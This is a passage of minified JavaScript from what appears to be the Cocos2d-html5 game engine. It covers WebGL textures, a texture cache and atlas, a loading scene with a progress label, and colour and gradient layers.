- this.Av=!1;this.shaderProgram=b.Hd.nc(b.Gq);return this.ic=!0},c0:function(a){var c=[0,this.Gi,this.Fi,this.Gi,0,0,this.Fi,0],d=this.mj*this.Fi,e=this.lj*this.Gi;a=[a.x,a.y,0,d+a.x,a.y,0,a.x,e+a.y,0,d+a.x,e+a.y,0];b.Ec(b.Kd|b.In);this.Eb.Ic();this.Eb.tt();b.oe(this);d=b.l;d.vertexAttribPointer(b.ob,2,d.FLOAT,!1,0,a);d.vertexAttribPointer(b.vd,2,d.FLOAT,!1,0,c);d.drawArrays(d.TRIANGLE_STRIP,0,4)},f0:function(a){var c=[0,this.Gi,this.Fi,this.Gi,0,0,this.Fi,0];a=[a.x,a.y,a.x+a.width,a.y,a.x,a.y+a.height,
- a.x+a.width,a.y+a.height];b.Ec(b.Kd|b.In);this.Eb.Ic();this.Eb.tt();b.oe(this);var d=b.l;d.vertexAttribPointer(b.ob,2,d.FLOAT,!1,0,a);d.vertexAttribPointer(b.vd,2,d.FLOAT,!1,0,c);d.drawArrays(d.TRIANGLE_STRIP,0,4)},nO:function(a){if(null==a)return b.log(b.f.CU),!1;var c=a.g2(),d=a.l1(),e=b.cp.Hr;if(c>e||d>e)return b.log(b.f.DU,c,d,e,e),!1;this.ic=!0;return this.zX(a,c,d)},Rc:function(a){a&&(this.Sd=b.l.createTexture(),this.Oa=a)},n1:function(){return this.Oa},K2:function(){return this.ic},sb:function(){if(b.hw){if(!this.Oa){var a=
- b.V.Cd(this.url);if(!a)return;this.Rc(a)}this.Oa.width&&this.Oa.height&&(this.ic=!0,a=b.l,b.oe(this),a.pixelStorei(a.UNPACK_ALIGNMENT,4),a.texImage2D(a.TEXTURE_2D,0,a.RGBA,a.RGBA,a.UNSIGNED_BYTE,this.Oa),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.LINEAR),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.LINEAR),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_WRAP_S,a.CLAMP_TO_EDGE),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_WRAP_T,a.CLAMP_TO_EDGE),this.shaderProgram=b.Hd.nc(b.Gq),b.oe(null),a=this.Oa.height,
- this.mj=this.Q.width=this.Oa.width,this.lj=this.Q.height=a,this.mi=b.da.Ui,this.Gi=this.Fi=1,this.to=this.Av=!1,this.Md())}},pd:function(){b.log(b.f.IU);return null},s2:function(){b.log(b.f.BU);return!1},u2:function(){b.log(b.f.FU);return!1},v2:function(){b.log(b.f.HU);return!1},I5:function(a,c,d,e){var f=b.l;void 0!==c&&(a={G3:a,C3:c,IQ:d,JQ:e});b.assert(this.mj==b.ak(this.mj)&&this.lj==b.ak(this.lj)||a.IQ==f.CLAMP_TO_EDGE&&a.JQ==f.CLAMP_TO_EDGE,"WebGLRenderingContext.CLAMP_TO_EDGE should be used in NPOT textures");
- b.oe(this);f.texParameteri(f.TEXTURE_2D,f.TEXTURE_MIN_FILTER,a.G3);f.texParameteri(f.TEXTURE_2D,f.TEXTURE_MAG_FILTER,a.C3);f.texParameteri(f.TEXTURE_2D,f.TEXTURE_WRAP_S,a.IQ);f.texParameteri(f.TEXTURE_2D,f.TEXTURE_WRAP_T,a.JQ)},R4:function(){var a=b.l;b.oe(this);this.to?a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.LINEAR_MIPMAP_NEAREST):a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.LINEAR);a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.NEAREST)},fG:function(){var a=b.l;b.oe(this);
- this.to?a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.NEAREST_MIPMAP_NEAREST):a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.NEAREST);a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.NEAREST)},generateMipmap:function(){b.assert(this.mj==b.ak(this.mj)&&this.lj==b.ak(this.lj),"Mimpap texture only works in POT textures");b.oe(this);b.l.generateMipmap(b.l.TEXTURE_2D);this.to=!0},p6:function(){return b.da.wV[this.mi]},D_:function(a){a=a||this.mi;var c=b.da.$I[a];if(null!=c)return c;b.log(b.f.yU,
- a);return-1},zX:function(a,c,d){var e=b.da,f=a.getData(),g=null,g=null,h=a.Dea(),k=b.size(a.g2(),a.l1()),m=e.aN,p=a.aca();h||(8<=p?m=e.Cq:(b.log(b.f.vU),m=e.Bq));var q=c*d;if(m==e.Bq)if(h)for(f=new Uint16Array(c*d),g=a.getData(),p=0;p<q;++p)f[p]=(g[p]>>0&255)>>3<<11|(g[p]>>8&255)>>2<<5|(g[p]>>16&255)>>3<<0;else for(f=new Uint16Array(c*d),g=a.getData(),p=0;p<q;++p)f[p]=(g[p]&255)>>3<<11|(g[p]&255)>>2<<5|(g[p]&255)>>3<<0;else if(m==e.iu)for(f=new Uint16Array(c*d),g=a.getData(),p=0;p<q;++p)f[p]=(g[p]>>
- 0&255)>>4<<12|(g[p]>>8&255)>>4<<8|(g[p]>>16&255)>>4<<4|(g[p]>>24&255)>>4<<0;else if(m==e.hu)for(f=new Uint16Array(c*d),g=a.getData(),p=0;p<q;++p)f[p]=(g[p]>>0&255)>>3<<11|(g[p]>>8&255)>>3<<6|(g[p]>>16&255)>>3<<1|(g[p]>>24&255)>>7<<0;else if(m==e.Aq)for(f=new Uint8Array(c*d),g=a.getData(),p=0;p<q;++p)f[p]=g>>24&255;if(h&&m==e.Cq)for(g=a.getData(),f=new Uint8Array(c*d*3),p=0;p<q;++p)f[3*p]=g>>0&255,f[3*p+1]=g>>8&255,f[3*p+2]=g>>16&255;this.Ps(f,m,c,d,k);a.getData();this.Av=a.Yea();return!0},Td:function(a,
- c){this.gb||(this.gb=[]);this.gb.push({Eh:a,Rf:c})},qP:function(a){if(this.gb)for(var c=this.gb,d=0;d<c.length;d++)c[d].Rf==a&&c.splice(d,1)},Md:function(){if(this.gb){for(var a=this.gb,c=0,d=a.length;c<d;c++){var e=a[c];e.Eh.call(e.Rf,this)}a.length=0}}})};
- b.H.RA=function(){var a=b.Wh.prototype;a.om=function(){var a=b.l;this.sc[0]=a.createBuffer();this.sc[1]=a.createBuffer();this.im=a.createBuffer();this.Ov()};a.Ov=function(){var a=b.l;a.bindBuffer(a.ARRAY_BUFFER,this.im);a.bufferData(a.ARRAY_BUFFER,this.ad,a.DYNAMIC_DRAW);a.bindBuffer(a.ELEMENT_ARRAY_BUFFER,this.sc[1]);a.bufferData(a.ELEMENT_ARRAY_BUFFER,this.jb,a.STATIC_DRAW)};a.jN=function(a){var d;d=0;if(0!==a&&this.texture&&this.texture.ic){var e=b.l;b.oe(this.texture);b.Ec(b.Jl);e.bindBuffer(e.ARRAY_BUFFER,
- this.im);this.dirty&&e.bufferData(e.ARRAY_BUFFER,this.ad,e.DYNAMIC_DRAW);e.vertexAttribPointer(b.ob,3,e.FLOAT,!1,24,0);e.vertexAttribPointer(b.ve,4,e.UNSIGNED_BYTE,!0,24,12);e.vertexAttribPointer(b.vd,2,e.FLOAT,!1,24,16);this.dirty&&(this.dirty=!1);e.bindBuffer(e.ELEMENT_ARRAY_BUFFER,this.sc[1]);b.cI?e.drawElements(e.TRIANGLE_STRIP,6*a,e.UNSIGNED_SHORT,6*d*this.jb.BYTES_PER_ELEMENT):e.drawElements(e.TRIANGLES,6*a,e.UNSIGNED_SHORT,6*d*this.jb.BYTES_PER_ELEMENT);b.lf++}}};
- b.H.SA=function(){var a=b.Ea;a.sb=function(a){var d=this.Cc;b.hw||(d=this.Gr);var e=d[a];e||(e=d[a]=new b.da,e.url=a);e.sb()};a.Dc=function(a,d,e){b.assert(a,b.f.xU);var f=this.Cc;b.hw||(f=this.Gr);var g=f[a]||f[b.V.Ll[a]];if(g)return d&&d.call(e),g;b.V.Cd(a)||(b.V.qJ(a)?b.V.load(a,function(){d&&d.call(e)}):b.V.Of[a]=b.V.Us(a,function(f,g){if(f)return d?d(f):f;b.Ea.sb(a);d&&d(e,g)}));g=f[a]=new b.da;g.url=a;return g};delete a};b.H.$z=function(){var a=b.da;a.S8=function(a){b.hT=a};a.Ui=2;a.Cq=3;a.Bq=4;a.Aq=5;a.Nz=6;a.Mz=7;a.iu=8;a.hu=7;a.BH=9;a.AH=10;a.ZS=a.Ui;var c=b.da.wV={};c[a.Ui]="RGBA8888";c[a.Cq]="RGB888";c[a.Bq]="RGB565";c[a.Aq]="A8";c[a.Nz]="I8";c[a.Mz]="AI88";c[a.iu]="RGBA4444";c[a.hu]="RGB5A1";c[a.BH]="PVRTC4";c[a.AH]="PVRTC2";c=b.da.$I={};c[a.Ui]=32;c[a.Cq]=24;c[a.Bq]=16;c[a.Aq]=8;c[a.Nz]=8;c[a.Mz]=16;c[a.iu]=16;c[a.hu]=16;c[a.BH]=4;c[a.AH]=3;c=b.da.prototype;b.j(c,"name",c.getName);b.j(c,"pixelFormat",c.JN);
- b.j(c,"pixelsWidth",c.aF);b.j(c,"pixelsHeight",c.$E);b.j(c,"width",c.fh);b.j(c,"height",c.zk);a.aN=a.ZS};b.H.aA=function(){var a=b.Wh.prototype;b.j(a,"totalQuads",a.aO);b.j(a,"capacity",a.BN);b.j(a,"quads",a.LN,a.VP)};b.c7=51;b.f7=19;b.h7=18;b.e7=50;b.b7=34;b.Z6=35;b.a7=33;b.d7=49;b.g7=17;b.hT=!1;
- b.B===b.Aa?b.da=b.oa.extend({Q:null,ic:!1,Oa:null,gb:null,url:null,ctor:function(){this.Q=b.size(0,0);this.ic=!1;this.Oa=null},aF:function(){return this.Q.width},$E:function(){return this.Q.height},Sf:function(){var a=b.pb();return b.size(this.Q.width/a,this.Q.height/a)},fh:function(){return this.Q.width/b.pb()},zk:function(){return this.Q.height/b.pb()},$0:function(){return this.Q},Rc:function(a){a&&(this.Oa=a)},n1:function(){return this.Oa},K2:function(){return this.ic},sb:function(){if(!this.ic){if(!this.Oa){var a=
- b.V.Cd(this.url);if(!a)return;this.Rc(a)}this.ic=!0;a=this.Oa;this.Q.width=a.width;this.Q.height=a.height;this.Md()}},description:function(){return"\x3ccc.Texture2D | width \x3d "+this.Q.width+" height "+this.Q.height+"\x3e"},Ps:function(){return!1},nO:function(){return!1},pd:function(){return!1},YF:function(){},getName:function(){return null},x1:function(){return 1},l5:function(){},y1:function(){return 1},m5:function(){},JN:function(){return null},dF:function(){return null},sG:function(){},Ai:function(){return!1},
- m2:function(){return!1},s4:function(){},U2:function(a){return a},c0:function(){},f0:function(){},s2:function(){b.log(b.f.AU);return!1},u2:function(){b.log(b.f.EU);return!1},v2:function(){b.log(b.f.GU);return!1},I5:function(){},R4:function(){},fG:function(){},generateMipmap:function(){},p6:function(){return""},D_:function(){return-1},Td:function(a,c){this.gb||(this.gb=[]);this.gb.push({Eh:a,Rf:c})},qP:function(a){if(this.gb)for(var c=this.gb,d=0;d<c.length;d++)c[d].Rf==a&&c.splice(d,1)},Md:function(){if(this.gb){for(var a=
- this.gb,c=0,d=a.length;c<d;c++){var e=a[c];e.Eh.call(e.Rf,this)}a.length=0}}}):(b.assert("function"===typeof b.H.QA,b.f.fd,"TexturesWebGL.js"),b.H.QA(),delete b.H.QA);b.assert("function"===typeof b.H.$z,b.f.fd,"TexturesPropertyDefine.js");b.H.$z();delete b.H.$z;b.Ea={Cc:{},fs:{},HD:0|1E3*Math.random(),Gr:{},EX:function(){var a,c=this.Gr,d=this.Cc;for(a in c){var e=c[a];e.sb();d[a]=e}this.Gr={}},J$:function(){b.log(b.f.u6)},G$:function(){b.log(b.f.s6)},description:function(){return"\x3cTextureCache | Number of textures \x3d "+this.Cc.length+"\x3e"},Jla:function(a){b.log(b.f.z6);return this.cl(a)},cl:function(a){return this.Cc[a]||this.Cc[b.V.Ll[a]]},p1:function(a){for(var c in this.Cc)if(this.Cc[c]==a)return c;return null},IW:function(){this.HD++;return"_textureKey_"+
- this.HD},sx:function(a){var c=this.p1(a);c||(c=a instanceof HTMLImageElement?a.src:this.IW());this.fs[c]||(this.fs[c]=b.kp(a));return this.fs[c]},I$:function(){b.log(b.f.t6)},Ria:function(){var a=this.Cc,c;for(c in a)a[c]&&a[c].YF();this.Cc={}},aja:function(a){if(a){var c=this.Cc,d;for(d in c)c[d]==a&&(c[d].YF(),delete c[d])}},bja:function(a){null!=a&&this.Cc[a]&&delete this.Cc[a]},E_:function(a,c){if(c instanceof b.da)this.Cc[a]=c;else{var d=new b.da;d.Rc(c);d.sb();this.Cc[a]=d}},O$:function(a,c){b.assert(a,
- b.f.w6);if(c&&this.Cc[c])return this.Cc[c];var d=new b.da;d.nO(a);null!=c&&null!=d?this.Cc[c]=d:b.log(b.f.v6);return d},Xaa:function(){var a=0,c=0,d=this.Cc,e;for(e in d){var f=d[e];a++;f.Oa instanceof HTMLImageElement?b.log(b.f.x6,e,f.Oa.src,f.pixelsWidth,f.pixelsHeight):b.log(b.f.pQ,e,f.pixelsWidth,f.pixelsHeight);c+=f.pixelsWidth*f.pixelsHeight*4}d=this.fs;for(e in d){var f=d[e],g;for(g in f){var h=f[g];a++;b.log(b.f.pQ,e,h.width,h.height);c+=h.width*h.height*4}}b.log(b.f.y6,a,c/1024,(c/1048576).toFixed(2))},
- qk:function(){this.Cc={};this.fs={};this.HD=0|1E3*Math.random();this.Gr={}}};
- b.B===b.Aa?(n=b.Ea,n.sb=function(a){var c=this.Cc,d=c[a];d||(d=c[a]=new b.da,d.url=a);d.sb()},n.Dc=function(a,c,d){b.assert(a,b.f.wU);var e=this.Cc,f=e[a]||e[b.V.Ll[a]];if(f)return c&&c.call(d),f;f=e[a]=new b.da;f.url=a;b.V.Cd(a)?f.sb():b.V.qJ(a)?b.V.load(a,function(){c&&c.call(d)}):b.V.Of[a]=b.V.Us(a,function(e,f){if(e)return c?c(e):e;b.Ea.sb(a);c&&c(d,f)});return f},n=null):(b.assert("function"===typeof b.H.SA,b.f.fd,"TexturesWebGL.js"),b.H.SA(),delete b.H.SA);b.Wh=b.oa.extend({dirty:!1,texture:null,jb:null,sc:null,wd:0,zc:null,ad:null,im:null,If:null,ctor:function(a,c){this.sc=[];"string"==typeof a?this.dl(a,c):a instanceof b.da&&this.sa(a,c)},aO:function(){return this.Ma},BN:function(){return this.wd},Ca:function(){return this.texture},Ya:function(a){this.texture=a},HP:function(a){this.dirty=a},zF:function(){return this.dirty},LN:function(){return this.zc},VP:function(a){this.zc=a},kW:function(a,c){if(a)for(var d=0;d<a.length;d++)this.pw(a[d],c+d)},pw:function(a,
- c){var d=this.zc;d[c]?(d[c].F=a.F,d[c].O=a.O,d[c].N=a.N,d[c].L=a.L):d[c]=new b.zb(a.N,a.F,a.L,a.O,this.ad,c*b.zb.BYTES_PER_ELEMENT)},description:function(){return"\x3ccc.TextureAtlas | totalQuads \x3d"+this.Ma+"\x3e"},WL:function(){if(0!==this.wd)for(var a=this.jb,c=this.wd,d=0;d<c;d++)b.cI?(a[6*d+0]=4*d+0,a[6*d+1]=4*d+0,a[6*d+2]=4*d+2,a[6*d+3]=4*d+1,a[6*d+4]=4*d+3,a[6*d+5]=4*d+3):(a[6*d+0]=4*d+0,a[6*d+1]=4*d+1,a[6*d+2]=4*d+2,a[6*d+3]=4*d+3,a[6*d+4]=4*d+2,a[6*d+5]=4*d+1)},om:function(){var a=b.l;
- this.sc[0]=a.createBuffer();this.sc[1]=a.createBuffer();this.im=a.createBuffer();this.Ov()},Ov:function(){var a=b.l;a.bindBuffer(a.ARRAY_BUFFER,this.im);a.bufferData(a.ARRAY_BUFFER,this.ad,a.DYNAMIC_DRAW);a.bindBuffer(a.ELEMENT_ARRAY_BUFFER,this.sc[1]);a.bufferData(a.ELEMENT_ARRAY_BUFFER,this.jb,a.STATIC_DRAW)},dl:function(a,c){var d=b.Ea.Dc(a);if(d)return this.sa(d,c);b.log(b.f.JU,a);return!1},sa:function(a,c){b.assert(a,b.f.KU);this.wd=c|=0;this.Ma=0;this.texture=a;this.zc=[];this.jb=new Uint16Array(6*
- c);var d=b.zb.BYTES_PER_ELEMENT;this.ad=new ArrayBuffer(d*c);this.If=new Uint8Array(this.ad);if((!this.zc||!this.jb)&&0<c)return!1;for(var e=this.zc,f=0;f<c;f++)e[f]=new b.zb(null,null,null,null,this.ad,f*d);this.WL();this.om();return this.dirty=!0},Wy:function(a,c){b.assert(a,b.f.UU);b.assert(0<=c&&c<this.wd,b.f.VU);this.Ma=Math.max(c+1,this.Ma);this.pw(a,c);this.dirty=!0},xF:function(a,c){b.assert(c<this.wd,b.f.NU);this.Ma++;if(this.Ma>this.wd)b.log(b.f.kI);else{var d=b.zb.BYTES_PER_ELEMENT,e=c*
- d,f=(this.Ma-1-c)*d;this.zc[this.Ma-1]=new b.zb(null,null,null,null,this.ad,(this.Ma-1)*d);this.If.set(this.If.subarray(e,e+f),e+d);this.pw(a,c);this.dirty=!0}},Kea:function(a,c,d){d=d||a.length;b.assert(c+d<=this.wd,b.f.OU);var e=b.zb.BYTES_PER_ELEMENT;this.Ma+=d;if(this.Ma>this.wd)b.log(b.f.kI);else{var f=c*e,g=(this.Ma-1-c-d)*e,h=this.Ma-1-d,k;for(k=0;k<d;k++)this.zc[h+k]=new b.zb(null,null,null,null,this.ad,(this.Ma-1)*e);this.If.set(this.If.subarray(f,f+g),f+e*d);for(k=0;k<d;k++)this.pw(a[k],
- c+k);this.dirty=!0}},Jea:function(a,c){if(a!==c){b.assert(0<=c||c<this.Ma,b.f.LU);b.assert(0<=a||a<this.Ma,b.f.MU);var d=b.zb.BYTES_PER_ELEMENT,e=this.If,f=e.subarray(a*d,d),g;a>c?(g=c*d,e.set(e.subarray(g,g+(a-c)*d),g+d),e.set(f,g)):(g=(a+1)*d,e.set(e.subarray(g,g+(c-a)*d),g-d),e.set(f,c*d));this.dirty=!0}},rP:function(a){b.assert(a<this.Ma,b.f.SU);var c=b.zb.BYTES_PER_ELEMENT;this.Ma--;this.zc.length=this.Ma;if(a!==this.Ma){var d=(a+1)*c;this.If.set(this.If.subarray(d,d+(this.Ma-a)*c),d-c)}this.dirty=
- !0},x4:function(a,c){b.assert(a+c<=this.Ma,b.f.TU);this.Ma-=c;if(a!==this.Ma){var d=b.zb.BYTES_PER_ELEMENT,e=(a+c)*d;this.If.set(this.If.subarray(e,e+(this.Ma-a)*d),a*d)}this.dirty=!0},oP:function(){this.Ma=this.zc.length=0},Nk:function(a){this.dirty=a},$F:function(a){if(a==this.wd)return!0;var c=b.zb.BYTES_PER_ELEMENT,d=this.wd;this.Ma=Math.min(this.Ma,a);var e=this.wd=0|a,f=this.Ma;if(null==this.zc)for(this.zc=[],this.ad=new ArrayBuffer(c*e),this.If=new Uint8Array(this.ad),a=0;a<e;a++)this.zc=new b.zb(null,
- null,null,null,this.ad,a*c);else{var g,h,k=this.zc;if(e>d){g=[];h=new ArrayBuffer(c*e);for(a=0;a<f;a++)g[a]=new b.zb(k[a].N,k[a].F,k[a].L,k[a].O,h,a*c);for(;a<e;a++)g[a]=new b.zb(null,null,null,null,h,a*c)}else for(f=Math.max(f,e),g=[],h=new ArrayBuffer(c*e),a=0;a<f;a++)g[a]=new b.zb(k[a].N,k[a].F,k[a].L,k[a].O,h,a*c);this.If=new Uint8Array(h);this.zc=g;this.ad=h}null==this.jb?this.jb=new Uint16Array(6*e):e>d?(c=new Uint16Array(6*e),c.set(this.jb,0),this.jb=c):this.jb=this.jb.subarray(0,6*e);this.WL();
- this.Ov();return this.dirty=!0},hO:function(a){this.Ma+=a},RO:function(a,c,d){if(void 0===d){if(d=c,c=this.Ma-a,b.assert(d+(this.Ma-a)<=this.wd,b.f.PU),0===c)return}else if(b.assert(d+c<=this.Ma,b.f.QU),b.assert(a<this.Ma,b.f.RU),a==d)return;var e=b.zb.BYTES_PER_ELEMENT,f=a*e,g=c*e,h=this.If,k=h.subarray(f,f+g),m=d*e;d<a?(c=d*e,h.set(h.subarray(c,c+(a-d)*e),c+g)):(c=(a+c)*e,h.set(h.subarray(c,c+(d-a)*e),f));h.set(k,m);this.dirty=!0},uN:function(a,c){for(var d=c*b.zb.BYTES_PER_ELEMENT,e=new Uint8Array(this.ad,
- a*b.zb.BYTES_PER_ELEMENT,d),f=0;f<d;f++)e[f]=0},kN:function(){this.jN(this.Ma)},p$:function(){var a=b.l;this.sc&&(this.sc[0]&&a.deleteBuffer(this.sc[0]),this.sc[1]&&a.deleteBuffer(this.sc[1]));this.im&&a.deleteBuffer(this.im)}});n=b.Wh.prototype;b.j(n,"totalQuads",n.aO);b.j(n,"capacity",n.BN);b.j(n,"quads",n.LN,n.VP);b.Wh.create=function(a,c){return new b.Wh(a,c)};b.Wh.BE=b.Wh.create;b.B===b.W&&(b.assert("function"===typeof b.H.RA,b.f.fd,"TexturesWebGL.js"),b.H.RA(),delete b.H.RA);
- b.assert("function"===typeof b.H.aA,b.f.fd,"TexturesPropertyDefine.js");b.H.aA();delete b.H.aA;b.ck=b.m.extend({ub:"Scene",ctor:function(){b.m.prototype.ctor.call(this);this.ej=!0;this.nl(0.5,0.5);this.Fd(b.J.ya())}});b.ck.create=function(){return new b.ck};b.Ez=b.ck.extend({Ck:null,Xc:null,ub:"LoaderScene",ba:function(){var a=this,c=200,d=a.QV=new b.Uc(b.color(32,32,32,255));d.T(b.mn.kE);a.M(d,0);var e=24,f=-c/2+100;b.gC&&(b.V.Us(b.gC,{yF:!1},function(d,e){c=e.height;a.AX(e,b.mn.$w)}),e=34,f=-c/2-50);e=a.Xc=b.P.create("正在加载... 0%","Arial",e);e.T(b.Mj(b.mn.$w,b.d(0,f)));e.nb(b.color(180,180,180));d.M(this.Xc,10);return!0},AX:function(a,c){var d=new b.da;d.Rc(a);d.sb();d=b.D.create(d);d.gn(b.pb());d.x=c.x;d.y=c.y;this.QV.M(d,10)},
- aa:function(){b.m.prototype.aa.call(this);this.yy(this.cM,0.3)},xb:function(){b.m.prototype.xb.call(this);this.Xc.ed("正在加载... 0%")},x2:function(a,c){"string"==typeof a&&(a=[a]);this.D4=a||[];this.Gm=c},cM:function(){var a=this;a.yQ(a.cM);b.V.load(a.D4,function(c,d,e){c=Math.min(e/d*100|0,100);a.Xc.ed("正在加载... "+c+"%")},function(){a.Gm&&a.Gm()})}});b.Ez.UF=function(a,c){var d=b;d.Vs||(d.Vs=new b.Ez,d.Vs.ba());d.Vs.x2(a,c);b.J.ot(d.Vs);return d.Vs};b.H.Dz=function(){var a=b.fc.prototype;a.IM=function(){};a.xQ=function(){};a.U=b.m.prototype.U};
- b.H.NA=function(){var a=b.Uc.prototype;a.tw=null;a.vD=null;a.XD=null;a.pB=null;a.xD=null;a.wD=null;a.ctor=function(a,d,e){this.xD=new ArrayBuffer(32);this.wD=new ArrayBuffer(16);var f=this.xD,g=this.wD,h=M.BYTES_PER_ELEMENT,k=b.tf.BYTES_PER_ELEMENT;this.tw=[new M(0,0,f,0),new M(0,0,f,h),new M(0,0,f,2*h),new M(0,0,f,3*h)];this.vD=[b.color(0,0,0,255,g,0),b.color(0,0,0,255,g,k),b.color(0,0,0,255,g,2*k),b.color(0,0,0,255,g,3*k)];this.XD=b.l.createBuffer();this.pB=b.l.createBuffer();b.fc.prototype.ctor.call(this);
- this.s=new b.bc(b.ac,b.$b);b.Uc.prototype.ba.call(this,a,d,e)};a.Fd=function(a,d){var e=this.tw;void 0===d?(e[1].x=a.width,e[2].y=a.height,e[3].x=a.width,e[3].y=a.height):(e[1].x=a,e[2].y=d,e[3].x=a,e[3].y=d);this.fB();b.fc.prototype.Fd.call(this,a,d)};a.rj=function(a){var d=this.tw;d[1].x=a;d[3].x=a;this.fB();b.fc.prototype.rj.call(this,a)};a.qj=function(a){var d=this.tw;d[2].y=a;d[3].y=a;this.fB();b.fc.prototype.qj.call(this,a)};a.Yb=function(){for(var a=this.Ba,d=this.fb,e=this.vD,f=0;4>f;f++)e[f].r=
- a.r,e[f].g=a.g,e[f].b=a.b,e[f].a=d;this.mJ()};a.Z=function(a){a=a||b.l;b.Xs(this);b.Ec(b.Kd|b.Gu);a.bindBuffer(a.ARRAY_BUFFER,this.XD);a.vertexAttribPointer(b.ob,2,a.FLOAT,!1,0,0);a.bindBuffer(a.ARRAY_BUFFER,this.pB);a.vertexAttribPointer(b.ve,4,a.UNSIGNED_BYTE,!0,0,0);b.Kg(this.s.src,this.s.R);a.drawArrays(a.TRIANGLE_STRIP,0,4)};a.fB=function(){var a=b.l;a.bindBuffer(a.ARRAY_BUFFER,this.XD);a.bufferData(a.ARRAY_BUFFER,this.xD,a.STATIC_DRAW)};a.mJ=function(){var a=b.l;a.bindBuffer(a.ARRAY_BUFFER,
- this.pB);a.bufferData(a.ARRAY_BUFFER,this.wD,a.STATIC_DRAW)}};
- b.H.OA=function(){var a=b.Al.prototype;a.Z=b.Uc.prototype.Z;a.Yb=function(){var a=this.ok,d=b.kl(a);if(0!==d){var e=Math.sqrt(2),a=b.d(a.x/d,a.y/d);this.av&&(a=b.Ki(a,1/(Math.abs(a.x)+Math.abs(a.y))*e));var f=this.fb/255,d=this.Ba,g=this.ze,d={r:d.r,g:d.g,b:d.b,a:this.Lo*f},f={r:g.r,g:g.g,b:g.b,a:this.fo*f},h=this.vD,g=h[0],k=h[1],m=h[2],h=h[3];g.r=f.r+(e+a.x+a.y)/(2*e)*(d.r-f.r);g.g=f.g+(e+a.x+a.y)/(2*e)*(d.g-f.g);g.b=f.b+(e+a.x+a.y)/(2*e)*(d.b-f.b);g.a=f.a+(e+a.x+a.y)/(2*e)*(d.a-f.a);k.r=f.r+(e-
- a.x+a.y)/(2*e)*(d.r-f.r);k.g=f.g+(e-a.x+a.y)/(2*e)*(d.g-f.g);k.b=f.b+(e-a.x+a.y)/(2*e)*(d.b-f.b);k.a=f.a+(e-a.x+a.y)/(2*e)*(d.a-f.a);m.r=f.r+(e+a.x-a.y)/(2*e)*(d.r-f.r);m.g=f.g+(e+a.x-a.y)/(2*e)*(d.g-f.g);m.b=f.b+(e+a.x-a.y)/(2*e)*(d.b-f.b);m.a=f.a+(e+a.x-a.y)/(2*e)*(d.a-f.a);h.r=f.r+(e-a.x-a.y)/(2*e)*(d.r-f.r);h.g=f.g+(e-a.x-a.y)/(2*e)*(d.g-f.g);h.b=f.b+(e-a.x-a.y)/(2*e)*(d.b-f.b);h.a=f.a+(e-a.x-a.y)/(2*e)*(d.a-f.a);this.mJ()}}};b.H.Xz=function(){var a=b.Uc.prototype;b.j(a,"width",a.fh,a.rj);b.j(a,"height",a.zk,a.qj)};b.H.Yz=function(){var a=b.Al.prototype;b.j(a,"startColor",a.rx,a.Pe);b.j(a,"endColor",a.mx,a.Ne);b.j(a,"startOpacity",a.X1,a.F5);b.j(a,"endOpacity",a.f1,a.d5);b.j(a,"vector",a.d2,a.O5)};b.fc=b.m.extend({Ul:!1,Vu:null,ub:"Layer",ctor:function(){var a=b.m.prototype;a.ctor.call(this);this.ej=!0;a.nl.call(this,0.5,0.5);a.Fd.call(this,b.sf)},ba:function(){this.ej=!0;this.nl(0.5,0.5);this.Fd(b.sf);this.cascadeColor=this.cascadeOpacity=!1;return!0},IM:null,xQ:null,Oea:function(){return this.Ul},U:null});b.fc.create=function(){return new b.fc};
- if(b.B===b.Aa){var S=b.fc.prototype;S.IM=function(){if(!this.Ul){this.Ul=this.rg=!0;this.Tn=this;for(var a=this.u,c=0,d=a.length;c<d;c++)a[c].mw(this);this.Vu||(this.Vu=new b.WQ)}};S.xQ=function(){if(this.Ul){this.Ul=!1;this.rg=!0;this.Tn=null;for(var a=this.u,c=0,d=a.length;c<d;c++)a[c].mw(null)}};S.U=function(a){if(this.Ul){a=a||b.l;var c,d=this.u,e=d.length;if(this.Zb&&0!==e){var f=this.Vu;a.save();this.transform(a);if(this.rg){c=this.JB();c.width|=0;c.height|=0;var g=f.Xd;f.vP(c.width,c.height);
- g.translate(0-c.x,c.height+c.y);var h=f.jx();f.T(h.x+c.x,h.y+c.y);this.Sc();b.view.qw();for(c=0;c<e;c++)d[c].U(g);b.view.iw();this.rg=!1}f.U(a);this.arrivalOrder=0;a.restore()}}else b.m.prototype.U.call(this,a)};S.JB=function(){var a=null;if(!this.u||0===this.u.length)return b.rect(0,0,10,10);for(var c=this.u,d=0;d<c.length;d++){var e=c[d];e&&e.Zb&&(a?(e=e.ur())&&(a=b.py(a,e)):a=e.ur())}return a};S=null}else b.assert("function"===typeof b.H.Dz,b.f.fd,"CCLayerWebGL.js"),b.H.Dz(),delete b.H.Dz;
- b.Uc=b.fc.extend({s:null,ub:"LayerColor",Gh:function(){return this.s},paa:function(a,c){this.width=a;this.height=c},oaa:function(a){this.width=a},naa:function(a){this.height=a},rf:function(){},Uf:function(){return!1},nb:function(a){b.fc.prototype.nb.call(this,a);this.Yb()},Ta:function(a){b.fc.prototype.Ta.call(this,a);this.Yb()},Xi:"source",ctor:null,ba:function(a,c,d){b.B!==b.Aa&&(this.shaderProgram=b.Hd.nc(b.qu));var e=b.J.ya();a=a||b.color(0,0,0,255);c=void 0===c?e.width:c;d=void 0===d?e.height:
- d;e=this.Ba;e.r=a.r;e.g=a.g;e.b=a.b;e=this.Qd;e.r=a.r;e.g=a.g;e.b=a.b;this.Bg=this.fb=a.a;a=b.Uc.prototype;a.Fd.call(this,c,d);a.Yb.call(this);return!0},pe:function(a,c){var d=this.s;void 0===c?(d.src=a.src,d.R=a.R):(d.src=a,d.R=c);b.B===b.Aa&&(this.Xi=b.vK(d))},rj:null,qj:null,Yb:null,Hc:function(a){b.fc.prototype.Hc.call(this,a);this.Yb()},xc:function(a){b.fc.prototype.xc.call(this,a);this.Yb()},Z:null});b.Uc.create=function(a,c,d){return new b.Uc(a,c,d)};
